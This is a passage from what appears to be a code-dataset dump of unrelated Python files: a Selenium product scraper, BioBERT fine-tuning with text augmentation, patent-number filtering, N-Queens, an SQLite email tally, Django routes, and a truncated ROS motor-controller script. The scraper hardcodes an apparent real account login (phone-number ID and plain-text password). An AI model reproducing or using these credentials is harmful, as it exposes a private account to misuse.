webdriver.Chrome(chrome_options=options)\n    else:\n        if browser == \"Firefox\":\n            driver = webdriver.Firefox()\n        else:\n            driver = webdriver.PhantomJS()\n\n    url = \"http://www.vipmro.net/login\"\n    driver.get(url)\n    s(3, 5)\n    uid='18861779873'\n    pwd='zhang1986'\n    login_url(uid,pwd)\n    #完成登录\n    #点击一下搜索按钮，使页面正确加载url\n    #driver.find_element_by_css_selector(\".index-button.cursor.ft14.J_searchListTop\").click()\n    driver.get(\"http://www.vipmro.net/search?keyword=%25E6%2596%25BD%25E8%2580%2590%25E5%25BE%25B7\")\n    s(3, 5)\n    driver.find_element_by_css_selector(\".index-button.cursor.ft14.J_searchListTop\").click()\n    s(3, 5)\n\n    data = get_url_status()\n    for i in range (len(data)):\n        table_id=data[i][0]\n        url=data[i][1]\n        company_name=data[i][2]\n        #url=str(url_t).replace(\"(('\",\"\").replace(\"',),)\",\"\")\n        print(company_name,url)\n        #url=u'http://www.vipmro.net/search?keyword=%25E5%25BE%25B7%25E5%258A%259B%25E8%25A5%25BF&categoryId=50101811'\n        driver.get(url)\n        s(4, 6)\n\n        #先判断一共多少页\n        page_num=driver.find_element_by_css_selector('.J_page_sum.t_num').text\n        print(\"##################当前类目共%s页数据\"%page_num)\n        if page_num=='15':\n            #拆到系列这一级\n            print(\"进行第一级系列的细化\")\n            series_names, series_urls=find_series(1)\n            for x in range(len(series_names)):\n                print(\"分支\",series_names[x],series_urls[x])\n                driver.get(series_urls[x])\n                s(3,5)\n\n                page_num2 = driver.find_element_by_css_selector('.J_page_sum.t_num').text\n                print(\"当前类目共%s页数据\" % page_num2)\n                if page_num2 == '15':\n                    # 拆到系列这一级\n                    print(\"进行第二级的细化\")\n                    series_names2, series_urls2 = find_series(2)\n                    for y in range(len(series_names2)):\n                        print(\"分支\", series_names2[y], series_urls2[y])\n                        driver.get(series_urls2[y])\n                        s(5, 8)\n\n                        page_num3 = driver.find_element_by_css_selector('.J_page_sum.t_num').text\n                        print(\"当前类目共%s页数据\" % page_num3)\n                        if page_num3 == '15':\n                            print(\"进行第三级的细化\")\n                            series_names3, series_urls3 = find_series(3)\n                            for z in range (len(series_names3)):\n                                print(\"分支\", series_names3[z], series_urls3[z])\n                                driver.get(series_urls3[z])\n                                s(3, 5)\n                                get_main_data(company_name, table_id)\n                        else:\n                            get_main_data(company_name, table_id)\n                else:\n                    get_main_data(company_name, table_id)\n\n        else:\n            get_main_data(company_name, table_id)\n        #update_status_to_run_log(table_id)\n\n\n\n","sub_path":"工品汇/正泰.NET/工品汇2.1-main.py","file_name":"工品汇2.1-main.py","file_ext":"py","file_size_in_byte":10617,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"170066610","text":"import tensorflow as tf\nimport pandas as pd\nfrom pandas import ExcelWriter\nfrom pandas import ExcelFile\nfrom transformers import BertForSequenceClassification\nimport torch\nfrom transformers import AutoModel,AutoTokenizer\nimport numpy as np\nimport json,os,re\nfrom collections import Counter\nfrom keras.preprocessing.sequence import pad_sequences\nfrom sklearn.model_selection import StratifiedKFold\nfrom torch.utils.data import TensorDataset, DataLoader, RandomSampler, SequentialSampler\nfrom transformers import AdamW\nfrom transformers import get_linear_schedule_with_warmup\nimport time,datetime\nfrom sklearn.metrics import classification_report\nimport random\nimport nltk\nnltk.download('wordnet')\nfrom nltk.corpus import wordnet \nfrom random import shuffle\n\n\n# If there's a GPU available...\nif torch.cuda.is_available():    \n\n    # Tell PyTorch to use the GPU.    \n    device = torch.device(\"cuda\")\n\n    print('There are %d GPU(s) available.' % torch.cuda.device_count())\n\n    print('We will use the GPU:', torch.cuda.get_device_name(0))\n\n# If not...\nelse:\n    print('No GPU available, using the CPU instead.')\n    device = torch.device(\"cpu\")\n    \ndef preprocess_data(tokenizer, sentences, MAX_LEN = 256):\n    \"\"\"\n    :params[in]: tokenizer, the configured tokenizer\n    :params[in]: sentences, list of strings\n    \"\"\"\n    # 1. Tokenize all of the sentences and map the tokens to thier word IDs.\n    input_ids = []\n    \n    # For every sentence...\n    for sent in sentences:\n        # `encode` will:\n        #   (1) Tokenize the sentence.\n        #   (2) Prepend the `[CLS]` token to the start.\n        #   (3) Append the `[SEP]` token to the end.\n        #   (4) Map tokens to their IDs.\n        encoded_sent = tokenizer.encode(\n                            sent,                      # Sentence to encode.\n                            add_special_tokens = True, # Add '[CLS]' and '[SEP]'\n                            # This function also supports truncation and conversion\n                            # to pytorch tensors, but we need to do padding, so we\n                            # can't use these features :( .\n                            #max_length = 128,          # Truncate all sentences.\n                            #return_tensors = 'pt',     # Return pytorch tensors.\n                       )        \n        # Add the encoded sentence to the list.\n        input_ids.append(encoded_sent)\n    \n    # Set the maximum sequence length.\n    # maximum training sentence length of 87...\n    \n    print('\\nPadding/truncating all sentences to %d values...' % MAX_LEN)\n    \n    print('\\nPadding token: \"{:}\", ID: {:}'.format(tokenizer.pad_token, tokenizer.pad_token_id))\n    \n    # Pad our input tokens with value 0.\n    # \"post\" indicates that we want to pad and truncate at the end of the sequence,\n    # as opposed to the beginning.\n    input_ids = pad_sequences(input_ids, maxlen=MAX_LEN, dtype=\"long\", \n                              value=0, truncating=\"post\", padding=\"post\")\n    # Create attention masks\n    attention_masks = []\n    # For each sentence...\n    for sent in input_ids:\n        \n        # Create the attention mask.\n        #   - If a token ID is 0, then it's padding, set the mask to 0.\n        #   - If a token ID is > 0, then it's a real token, set the mask to 1.\n        att_mask = [int(token_id > 0) for token_id in sent]\n        \n        # Store the attention mask for this sentence.\n        attention_masks.append(att_mask)\n    return input_ids, attention_masks\n\n# Function to calculate the accuracy of our predictions vs labels\ndef flat_accuracy(preds, labels):\n    pred_flat = np.argmax(preds, axis=1).flatten()\n    labels_flat = labels.flatten()\n    return np.sum(pred_flat == labels_flat) / len(labels_flat)\n\ndef format_time(elapsed):\n    '''\n    Takes a time in seconds and returns a string hh:mm:ss\n    '''\n    # Round to the nearest second.\n    elapsed_rounded = int(round((elapsed)))\n    \n    # Format as hh:mm:ss\n    return str(datetime.timedelta(seconds=elapsed_rounded))\n\ndef train_eval(clf_model, train_dataloader, validation_dataloader, base_dir,\n               weights=None, lr=2e-5, epochs=4, eval_every_num_iters=40, seed_val = 42):\n    \"\"\"train and evaluate a deep learning model\n    :params[in]: clf_model, a classifier\n    :params[in]: train_dataloader, training data\n    :params[in]: validation_dataloader, validation data\n    :params[in]: base_dir, output directory to create the directory to save results\n    :params[in]: lr, the learning rate\n    :params[in]: epochs, the number of training epochs\n    :params[in]: eval_every_num_iters, the number of iterations to evaluate\n    :params[in]: seed_val, set a random seed\n    \"\"\"\n    # the 'W' stands for 'Warm up\", AdamW is a class from the huggingface library\n    optimizer = AdamW(clf_model.parameters(),\n                      lr = lr, # args.learning_rate - default is 5e-5, our notebook had 2e-5\n                      eps = 1e-8 # args.adam_epsilon  - default is 1e-8.\n                    )\n    # Number of training epochs (authors recommend between 2 and 4)\n    epochs = epochs\n    # Total number of training steps is number of batches * number of epochs.\n    total_steps = len(train_dataloader) * epochs\n    # Create the learning rate scheduler.\n    scheduler = get_linear_schedule_with_warmup(optimizer, \n                                                num_warmup_steps = 1, # Default value in run_glue.py\n                                                num_training_steps = total_steps)\n    # see if weights is None:\n    if weights != None:\n        weights = torch.FloatTensor(weights)\n    # Set the seed value all over the place to make this reproducible.\n    random.seed(seed_val)\n    np.random.seed(seed_val)\n    torch.manual_seed(seed_val)\n    torch.cuda.manual_seed_all(seed_val)\n    \n    # Store the average loss after each epoch so we can plot them.\n    loss_values = []\n    \n    # For each epoch...\n    for epoch_i in range(0, epochs):\n        \n        # ========================================\n        #               Training\n        # ========================================\n        print(\"\")\n        print('======== Epoch {:} / {:} ========'.format(epoch_i + 1, epochs))\n        print('Training...')\n        \n        # Measure how long the training epoch takes.\n        t0 = time.time()\n    \n        # Reset the total loss for this epoch.\n        total_loss = 0\n    \n        # Put the model into training mode. Don't be mislead--the call to \n        # `train` just changes the *mode*, it doesn't *perform* the training.\n        # `dropout` and `batchnorm` layers behave differently during training\n        # vs. test (source: https://stackoverflow.com/questions/51433378/what-does-model-train-do-in-pytorch)\n        clf_model.train()  ## model training mode\n    \n        # For each batch of training data...\n        for step, batch in enumerate(train_dataloader):\n    \n            # Unpack this training batch from our dataloader. \n            #\n            # As we unpack the batch, we'll also copy each tensor to the GPU using the \n            # `to` method.\n            #\n            # `batch` contains three pytorch tensors:\n            #   [0]: input ids \n            #   [1]: attention masks\n            #   [2]: labels \n            b_input_ids = batch[0].to(device)\n            b_input_mask = batch[1].to(device)\n            b_labels = batch[2].to(device)\n    \n            # Always clear any previously calculated gradients before performing a\n            # backward pass. PyTorch doesn't do this automatically because \n            # accumulating the gradients is \"convenient while training RNNs\". \n            # (source: https://stackoverflow.com/questions/48001598/why-do-we-need-to-call-zero-grad-in-pytorch)\n            clf_model.zero_grad()        \n    \n            # Perform a forward pass (evaluate the model on this training batch).\n            # This will return the loss (rather than the model output) because we\n            # have provided the `labels`.\n            # The documentation for this `model` function is here: \n            # https://huggingface.co/transformers/v2.2.0/model_doc/bert.html#transformers.BertForSequenceClassification\n            outputs = clf_model(b_input_ids, \n                        token_type_ids=None, \n                        attention_mask=b_input_mask, \n                        labels=b_labels,\n                        weights=weights)\n                        #weights=torch.FloatTensor([100/127,100/191,100/34]))\n            \n            # The call to `model` always returns a tuple, so we need to pull the \n            # loss value out of the tuple.\n            loss = outputs[0]\n    \n            # Accumulate the training loss over all of the batches so that we can\n            # calculate the average loss at the end. `loss` is a Tensor containing a\n            # single value; the `.item()` function just returns the Python value \n            # from the tensor.\n            total_loss += loss.item()\n    \n            # Perform a backward pass to calculate the gradients.\n            loss.backward()\n    \n            # Clip the norm of the gradients to 1.0.\n            # This is to help prevent the \"exploding gradients\" problem.\n            torch.nn.utils.clip_grad_norm_(clf_model.parameters(), 1.0)\n    \n            # Update parameters and take a step using the computed gradient.\n            # The optimizer dictates the \"update rule\"--how the parameters are\n            # modified based on their gradients, the learning rate, etc.\n            optimizer.step()    \n            # Update the learning rate.\n            scheduler.step()\n            # eveluate the performance after some iterations\n            if step % eval_every_num_iters == 0 and not step == 0:\n                # Calculate elapsed time in minutes.\n                elapsed = format_time(time.time() - t0)\n                # Report progress.\n                print('  Batch {:>5,}  of  {:>5,}.    Elapsed: {:}.'.format(step, len(train_dataloader), elapsed))\n                tmp_dir = base_dir+'/epoch'+str(epoch_i+1)+'iteration'+str(step)\n                ## save pretrained model\n                evaluate_model(clf_model, validation_dataloader, tmp_dir)\n                clf_model.train()  ## model training mode\n        # Calculate the average loss over the training data.\n        avg_train_loss = total_loss / len(train_dataloader)            \n        \n        # Store the loss value for plotting the learning curve.\n        loss_values.append(avg_train_loss)\n        # save the data after epochs\n        tmp_dir = base_dir+'/epoch'+str(epoch_i+1)+'_done'\n        ## save pretrained model\n        evaluate_model(clf_model, validation_dataloader, tmp_dir)\n        clf_model.train()  ## model training mode\n\n### evaluate the performance of current model\ndef evaluate_model(clf_model, validation_dataloader, save_dir):\n    \"\"\"\n    :params[in]: clf_model, the pre-trained classifier\n    :params[in]: validation_dataloader, the validation dataset\n    :params[in]: save_dir, the directory name to save the fine-tuned model\n    \n    \"\"\"\n    t0 = time.time()\n    # Put the model in evaluation mode--the dropout layers behave differently\n    # during evaluation.\n    clf_model.eval()\n    # Tracking variables \n    eval_loss, eval_accuracy = 0, 0\n    nb_eval_steps, nb_eval_examples = 0, 0\n    true_labels,pred_labels=[],[]\n    # Evaluate data for one epoch\n    for batch in validation_dataloader:\n        \n        # Add batch to GPU\n        batch = tuple(t.to(device) for t in batch)\n        \n        # Unpack the inputs from our dataloader\n        b_input_ids, b_input_mask, b_labels = batch\n        \n        # Telling the model not to compute or store gradients, saving memory and\n        # speeding up validation\n        with torch.no_grad():        \n            # Forward pass, calculate logit predictions.\n            # This will return the logits rather than the loss because we have\n            # not provided labels.\n            # token_type_ids is the same as the \"segment ids\", which \n            # differentiates sentence 1 and 2 in 2-sentence tasks.\n            # The documentation for this `model` function is here: \n            # https://huggingface.co/transformers/v2.2.0/model_doc/bert.html#transformers.BertForSequenceClassification\n            outputs = clf_model(b_input_ids, \n                            token_type_ids=None, \n                            attention_mask=b_input_mask)\n        \n        # Get the \"logits\" output by the model. The \"logits\" are the output\n        # values prior to applying an activation function like the softmax.\n        logits = outputs[0]\n\n        # Move logits and labels to CPU\n        logits = logits.detach().cpu().numpy()\n        label_ids = b_labels.to('cpu').numpy()\n\n        # Calculate the accuracy for this batch of test sentences.\n        tmp_eval_accuracy = flat_accuracy(logits, label_ids)\n        ## pred_labels/true_labels in a batch flatten\n        pred_flat = np.argmax(logits, axis=1).flatten()\n        true_flat = label_ids.flatten()\n\n        # true labels and predicted labels\n        true_labels += true_flat.tolist()\n        pred_labels += pred_flat.tolist()\n        # Accumulate the total accuracy.\n        eval_accuracy += tmp_eval_accuracy\n        # Track the number of batches\n        nb_eval_steps += 1\n\n    # Report the final accuracy for this validation run\n    if not os.path.exists(save_dir):\n        os.makedirs(save_dir)\n    clf_model.save_pretrained(save_dir)  ## save model\n    print(classification_report(true_labels, pred_labels,digits=3),\n      file=open(save_dir+'/result.txt','a'))\n    print(\"  Accuracy: {0:.3f}\".format(eval_accuracy/nb_eval_steps),\n          file=open(save_dir+'/result.txt','a'))\n\n# Easy data augmentation techniques for text classification\n#stop words list\n\nstop_words = ['i', 'me', 'my', 'myself', 'we', 'our', \n\t\t\t'ours', 'ourselves', 'you', 'your', 'yours', \n\t\t\t'yourself', 'yourselves', 'he', 'him', 'his', \n\t\t\t'himself', 'she', 'her', 'hers', 'herself', \n\t\t\t'it', 'its', 'itself', 'they', 'them', 'their', \n\t\t\t'theirs', 'themselves', 'what', 'which', 'who', \n\t\t\t'whom', 'this', 'that', 'these', 'those', 'am', \n\t\t\t'is', 'are', 'was', 'were', 'be', 'been', 'being', \n\t\t\t'have', 'has', 'had', 'having', 'do', 'does', 'did',\n\t\t\t'doing', 'a', 'an', 'the', 'and', 'but', 'if', 'or',\n\t\t\t'because', 'as', 'until', 'while', 'of', 'at', \n\t\t\t'by', 'for', 'with', 'about', 'against', 'between',\n\t\t\t'into', 'through', 'during', 'before', 'after', \n\t\t\t'above', 'below', 'to', 'from', 'up', 'down', 'in',\n\t\t\t'out', 'on', 'off', 'over', 'under', 'again', \n\t\t\t'further', 'then', 'once', 'here', 'there', 'when', \n\t\t\t'where', 'why', 'how', 'all', 'any', 'both', 'each', \n\t\t\t'few', 'more', 'most', 'other', 'some', 'such', 'no', \n\t\t\t'nor', 'not', 'only', 'own', 'same', 'so', 'than', 'too', \n\t\t\t'very', 's', 't', 'can', 'will', 'just', 'don', \n\t\t\t'should', 'now', '']\n\ndef get_only_chars(line):\n\n    clean_line = \"\"\n\n    line = line.replace(\"’\", \"\")\n    line = line.replace(\"'\", \"\")\n    line = line.replace(\"-\", \" \") #replace hyphens with spaces\n    line = line.replace(\"\\t\", \" \")\n    line = line.replace(\"\\n\", \" \")\n    line = line.lower()\n\n    for char in line:\n        if char in 'qwertyuiopasdfghjklzxcvbnm ':\n            clean_line += char\n        else:\n            clean_line += ' '\n\n    clean_line = re.sub(' +',' ',clean_line) #delete extra spaces\n    if clean_line[0] == ' ':\n        clean_line = clean_line[1:]\n    return clean_line\n\n########################################################################\n# Synonym replacement\n# Replace n words in the sentence with synonyms from wordnet\n########################################################################\n\n#for the first time you use wordnet\n\ndef synonym_replacement(words, n):\n\tnew_words = words.copy()\n\trandom_word_list = list(set([word for word in words if word not in stop_words]))\n\trandom.shuffle(random_word_list)\n\tnum_replaced = 0\n\tfor random_word in random_word_list:\n\t\tsynonyms = get_synonyms(random_word)\n\t\tif len(synonyms) >= 1:\n\t\t\tsynonym = random.choice(list(synonyms))\n\t\t\tnew_words = [synonym if word == random_word else word for word in new_words]\n\t\t\t#print(\"replaced\", random_word, \"with\", synonym)\n\t\t\tnum_replaced += 1\n\t\tif num_replaced >= n: #only replace up to n words\n\t\t\tbreak\n\t#this is stupid but we need it, trust me\n\tsentence = ' '.join(new_words)\n\tnew_words = sentence.split(' ')\n\n\treturn new_words\n\ndef get_synonyms(word):\n\tsynonyms = set()\n\tfor syn in wordnet.synsets(word): \n\t\tfor l in syn.lemmas(): \n\t\t\tsynonym = l.name().replace(\"_\", \" \").replace(\"-\", \" \").lower()\n\t\t\tsynonym = \"\".join([char for char in synonym if char in ' qwertyuiopasdfghjklzxcvbnm'])\n\t\t\tsynonyms.add(synonym) \n\tif word in synonyms:\n\t\tsynonyms.remove(word)\n\treturn list(synonyms)\n\n########################################################################\n# Random deletion\n# Randomly delete words from the sentence with probability p\n########################################################################\n\ndef random_deletion(words, p):\n\n\t#obviously, if there's only one word, don't delete it\n\tif len(words) == 1:\n\t\treturn words\n\n\t#randomly delete words with probability p\n\tnew_words = []\n\tfor word in words:\n\t\tr = random.uniform(0, 1)\n\t\tif r > p:\n\t\t\tnew_words.append(word)\n\n\t#if you end up deleting all words, just return a random word\n\tif len(new_words) == 0:\n\t\trand_int = random.randint(0, len(words)-1)\n\t\treturn [words[rand_int]]\n\n\treturn new_words\n\n########################################################################\n# Random swap\n# Randomly swap two words in the sentence n times\n########################################################################\n\ndef random_swap(words, n):\n\tnew_words = words.copy()\n\tfor _ in range(n):\n\t\tnew_words = swap_word(new_words)\n\treturn new_words\n\ndef swap_word(new_words):\n\trandom_idx_1 = random.randint(0, len(new_words)-1)\n\trandom_idx_2 = random_idx_1\n\tcounter = 0\n\twhile random_idx_2 == random_idx_1:\n\t\trandom_idx_2 = random.randint(0, len(new_words)-1)\n\t\tcounter += 1\n\t\tif counter > 3:\n\t\t\treturn new_words\n\tnew_words[random_idx_1], new_words[random_idx_2] = new_words[random_idx_2], new_words[random_idx_1] \n\treturn new_words\n\n########################################################################\n# Random insertion\n# Randomly insert n words into the sentence\n########################################################################\n\ndef random_insertion(words, n):\n\tnew_words = words.copy()\n\tfor _ in range(n):\n\t\tadd_word(new_words)\n\treturn new_words\n\ndef add_word(new_words):\n\tsynonyms = []\n\tcounter = 0\n\twhile len(synonyms) < 1:\n\t\trandom_word = new_words[random.randint(0, len(new_words)-1)]\n\t\tsynonyms = get_synonyms(random_word)\n\t\tcounter += 1\n\t\tif counter >= 10:\n\t\t\treturn\n\trandom_synonym = synonyms[0]\n\trandom_idx = random.randint(0, len(new_words)-1)\n\tnew_words.insert(random_idx, random_synonym)\n\n########################################################################\n# main data augmentation function\n########################################################################\n\ndef eda(sentence, alpha_sr=0.1, alpha_ri=0.1, alpha_rs=0.1, p_rd=0.1, num_aug=9):\n\t\n\tsentence = get_only_chars(sentence)\n\twords = sentence.split(' ')\n\twords = [word for word in words if word is not '']\n\tnum_words = len(words)\n\t\n\taugmented_sentences = []\n\tnum_new_per_technique = int(num_aug/4)+1\n\tn_sr = max(1, int(alpha_sr*num_words))\n\tn_ri = max(1, int(alpha_ri*num_words))\n\tn_rs = max(1, int(alpha_rs*num_words))\n\n\t#sr\n\tfor _ in range(num_new_per_technique):\n\t\ta_words = synonym_replacement(words, n_sr)\n\t\taugmented_sentences.append(' '.join(a_words))\n\n\t#ri\n\tfor _ in range(num_new_per_technique):\n\t\ta_words = random_insertion(words, n_ri)\n\t\taugmented_sentences.append(' '.join(a_words))\n\n\t#rs\n\tfor _ in range(num_new_per_technique):\n\t\ta_words = random_swap(words, n_rs)\n\t\taugmented_sentences.append(' '.join(a_words))\n\n\t#rd\n\tfor _ in range(num_new_per_technique):\n\t\ta_words = random_deletion(words, p_rd)\n\t\taugmented_sentences.append(' '.join(a_words))\n\n\taugmented_sentences = [get_only_chars(sentence) for sentence in augmented_sentences]\n\tshuffle(augmented_sentences)\n\n\t#trim so that we have the desired number of augmented sentences\n\tif num_aug >= 1:\n\t\taugmented_sentences = augmented_sentences[:num_aug]\n\telse:\n\t\tkeep_prob = num_aug / len(augmented_sentences)\n\t\taugmented_sentences = [s for s in augmented_sentences if random.uniform(0, 1) < keep_prob]\n\n\t#append the original sentence\n\taugmented_sentences.append(sentence)\n\n\treturn augmented_sentences\n\ndef augment_train(x_train, y_train, label_aug=2, num_aug=4):\n    \"\"\" Use Data augmentation to augment training set\n    :params[in]: x_train, training examples\n    :params[in]: y_train, labels for training set\n    :params[in]: label_aug, the label to do augmentation\n    \n    :params[in]: x_train,y_train, augmented training data\n    \"\"\"\n    x_train_urgent = [x for x,y in zip(x_train,y_train) if \\\n                      y==label_aug]\n    ## augment sentences\n    aug_sentences = []\n    for sen0 in x_train_urgent:\n        ## original sentence will be removed\n        aug_sentences += eda(sen0, alpha_sr=0.05, alpha_ri=0.05, \\\n                             alpha_rs=0.05, p_rd=0.05, num_aug=num_aug)[:-1]\n    ## append to the original data --only augment urgent sentences\n    x_train += aug_sentences\n    y_train +=  [label_aug]*len(aug_sentences)\n    ## return augmented data\n    return x_train, y_train\n\nif __name__=='__main__':\n    tokenizer = AutoTokenizer.from_pretrained(\"biobert_v1.1_pubmed\", from_tf=True)\n    ## set the padding\n    tokenizer.pad_token = '[PAD]'\n    # tokenizer.pad_token_id\n    data0 = json.load(open('original_labelled_data.json', 'r'))\n    sentences,labels = data0['sentences'],data0['labels']\n    #lm_model = AutoModelWithLMHead.from_pretrained(\"biobert_v1.1_pubmed\", from_tf=True)\n    ## split data into K-folds\n    skf = StratifiedKFold(n_splits=5, shuffle=True, random_state=2020)\n    skf.get_n_splits(sentences, labels)\n    ## loop over train/test data splits\n    split_index = 0 \n    for train_index, test_index in skf.split(sentences, labels):\n        split_index +=1\n        x_train, x_test = [sentences[i] for i in train_index], [sentences[i] for i in test_index]\n        y_train, y_test = [labels[i] for i in train_index], [labels[i] for i in test_index]\n        ## augment training data\n        x_train, y_train=augment_train(x_train, y_train, label_aug=2, num_aug=4)\n        ## use preprocess_date function\n        train_inputs,train_masks = preprocess_data(tokenizer, x_train, MAX_LEN = 256)\n        validation_inputs,validation_masks = preprocess_data(tokenizer, x_test, MAX_LEN = 256)\n        train_inputs = torch.tensor(train_inputs)\n        validation_inputs = torch.tensor(validation_inputs)\n        train_labels = torch.tensor(y_train)\n        validation_labels = torch.tensor(y_test)\n        train_masks = torch.tensor(train_masks)\n        validation_masks = torch.tensor(validation_masks)\n        ## initialize model\n        clf_model=BertForSequenceClassification.from_pretrained(\"biobert_v1.1_pubmed\",\n                                                        num_labels=len(set(labels)),\n                                                        from_tf=True)\n        # For fine-tuning BERT on a specific task, the authors recommend a batch size of\n        # 16 or 32.\n        batch_size = 4\n        # Create the DataLoader for our training set.\n        train_data = TensorDataset(train_inputs, train_masks, train_labels)\n        train_sampler = RandomSampler(train_data)\n        train_dataloader = DataLoader(train_data, sampler=train_sampler, batch_size=batch_size)\n        # Create the DataLoader for our validation set.\n        validation_data = TensorDataset(validation_inputs, validation_masks, validation_labels)\n        validation_sampler = SequentialSampler(validation_data)\n        validation_dataloader = DataLoader(validation_data, sampler=validation_sampler,\n                                           batch_size=batch_size)\n        base_dir = 'fine_tuned_bio_bert/bio_bert_augmentation_split_'+str(split_index)\n        train_eval(clf_model, train_dataloader, validation_dataloader, base_dir, \\\n            lr=2e-5, epochs=4, eval_every_num_iters=80, seed_val = 42) #weights=[100/127,100/191,100/34])\n","sub_path":"cross_validation_code_da.py","file_name":"cross_validation_code_da.py","file_ext":"py","file_size_in_byte":24267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"397472418","text":"import json\nimport re\n\n\n\ndef get_doc_nums(doc_nums):\n    '''\n    1纯数字要7-8位的,前面补零凑够八位\n    2D打头的都要,但是需要在D和��字之间补零,凑够8位\n    3wo打头的直接丢弃'''\n\n    out = []\n    for number in doc_nums:\n        if re.match('WO.*?', number):\n            continue\n\n        if re.match('^\\d{7}$', number):\n            # 七位纯数字,补零\n            out.append('0' + number)\n            continue\n\n        if re.match('^\\d{8}$', number):\n            # 八位纯数字\n            out.append(number)\n            continue\n\n        if re.match('^D\\d{6}$', number):\n            out.append(number[0] + '0' + number[1:])\n\n        if re.match('^D\\d{7}$', number):\n            out.append(number)\n\n    return out\n\ndef read_json(filepath):\n    with open(filepath, \"r\", encoding=\"utf-8\") as f:\n        data=json.load(f)\n        return data\n\n\ndef write_json(filepath,data):\n    with open(filepath, \"w\", encoding=\"utf-8\") as f:\n        f.write(json.dumps(data, indent=4))\n\n\nitems=read_json('h:/json/all_years_orgname_matched 1.json')\ndf=read_json('h:/json/citation of citation.json')\nprint(len(items))\n\ncount=0\nrecords=[]\nfor item in items:\n\n    doc_nums=item['search_res']['citation']\n    doc_nums=[doc_nums[key] for key in doc_nums.keys()]\n    print(doc_nums)\n    doc_nums=get_doc_nums(doc_nums)\n    record={'file':'','search_res':[]}\n    n=1\n    for doc_num in doc_nums:\n        for target in df:\n            if 'US'+doc_num in target['search_res']['file']:\n                print(target)\n                if record['file']=='':\n                    record['file']=target['search_res']['file']\n                record['search_res'].append(target['search_res'])\n                print(n)\n                n+=1\n\n    records.append(record)\n    count+=1\nprint(count)\nwrite_json(filepath='out.json',data=records)\n\n","sub_path":"数据集处理/健怡可乐-4-doc_nums整合信息/整合数据文件.py","file_name":"整合数据文件.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"223585837","text":"# Instead of using arrays to store each result\n# I return 1 if it exists\n\nclass Solution:\n    \"\"\"\n    Calculate the total number of distinct N-Queen solutions.\n    @param n: The number of queens.\n    @return: The total number of distinct solutions.\n    \"\"\"\n\n    def totalNQueens(self, n):\n        # write your code here\n        if n < 1:\n            return []\n        res = self.search(n, [])\n        return res\n\n    def isValid(self, cols, row):\n        m = len(cols)\n        for i in range(m):\n            if abs(row - cols[i]) == m - i:\n                return False\n            if row == cols[i]:\n                return False\n        return True\n\n    def search(self, n, cols):\n        if len(cols) == n:\n            return 1\n\n        res = 0\n        for i in range(n):\n            if not self.isValid(cols, i):\n                continue\n            cols.append(i)\n            tmp = self.search(n, cols)\n            res += tmp\n            cols.pop()\n        return res\n","sub_path":"leetcode/052-N-Queens-II/NQueens_004.py","file_name":"NQueens_004.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"179583620","text":"import sqlite3\r\nimport urllib.request, urllib.parse, urllib.error\r\n\r\nconn = sqlite3.connect('emailexercise.sqllite')\r\ncur = conn.cursor()\r\n\r\ncur.execute('DROP TABLE IF EXISTS Counts')\r\n\r\ncur.execute('CREATE TABLE Counts (Email TEXT, count INTEGER)')\r\n\r\nfh = open('C:\\\\Users\\Gaurav Shubham\\Desktop\\gaurav.txt', 'r')\r\nfor line in fh:\r\n    if not line.startswith('From: '):\r\n        continue\r\n    pieces = line.split()\r\n    email = pieces[1]\r\n    cur.execute('SELECT count FROM Counts WHERE email = ? ', (email,))\r\n    row = cur.fetchone()\r\n    if row is None:\r\n        cur.execute('INSERT INTO Counts (email,count) VALUES (?,1)', (email,))\r\n    else:\r\n        cur.execute('UPDATE Counts SET count = count + 1 WHERE email = ?', (email,))\r\n    conn.commit()\r\n\r\nsqlstr = 'SELECT email,count FROM Counts ORDER BY count DESC LIMIT 1000'\r\n\r\nfor row in cur.execute(sqlstr):\r\n    print(str(row[0]), row[1])\r\n    print('Done and dusted')\r\n","sub_path":"extra.py","file_name":"extra.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"121681085","text":"from django.conf.urls import url, include\nfrom django.contrib import admin\n\nfrom moon_tracker import views\n\nurlpatterns = [\n    url(r'^system/(?P<system>.+)/(?P<planet>[0-9]+)/(?P<moon>[0-9]+)/$', views.moon_detail, name='moon_detail'),\n    url(r'^system/(?P<system>.+)/$', views.list_system, name='list_system'),\n    url(r'^constellation/(?P<constellation>.+)/$', views.SolarSystemListView.as_view(), name='list_constellation'),\n    url(r'^region/(?P<region>.+)/$', views.ConstellationListView.as_view(), name='list_region'),\n    url(r'^submit/$', views.batch_submit, name='batch_submit'),\n    url(r'^$', views.RegionListView.as_view(), name='list_universe'),\n]\n","sub_path":"elmo/moon_tracker/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"86416411","text":"#!/usr/bin/env python\nimport rospy\nfrom roboteq_interface.msg import motor_commands\nfrom roboteq_interface.msg import speed2_data\nimport serial\nimport struct\nimport time\n\ncallback_time = 0.0\n\ndef openPort():\n\tglobal port_open\n\tglobal ser\n\techof_plus = False\n\techof_timeout = 0.1\n\tser=serial.Serial(\"/dev/ttyACM1\",115200,serial.EIGHTBITS,serial.PARITY_NONE,serial.STOPBITS_ONE,0,False,False,None,False,None)\n\tser.flushInput()\n\tser.flushOutput()\n\t#rospy.loginfo(\"Opened Controller 2\")\n\twhile not echof_plus:\n\t\tser.write(\"^ECHOF 1\\r\")\n\t\tn = readChar(ser,1.0)\n\t\tinitial_time = time.clock()\n\t\tcurrent_time = time.clock()\n\t\twhile (not checkChar(n,b'\\x2B')) and ((current_time - initial_time) <= echof_timeout):\n\t\t\t#rospy.loginfo(\"Looping for ECHOF +\")\n\t\t\tn = readChar(ser,1.0)\n\t\t\tif checkChar(n,b'\\x2B'):\n\t\t\t\techof_plus = True\n\t\t\tcurrent_time = time.clock()\n\tn = readChar(ser,1.0)\n\twhile not checkChar(n,b'\\x0D'):\n\t\tn = readChar(ser,1.0)\n\t\t#rospy.loginfo(\"Looping for ECHOF CR\")\n\t#rospy.loginfo(\"Read ECHOF + and CR\")\n\tport_open = True\n\ndef 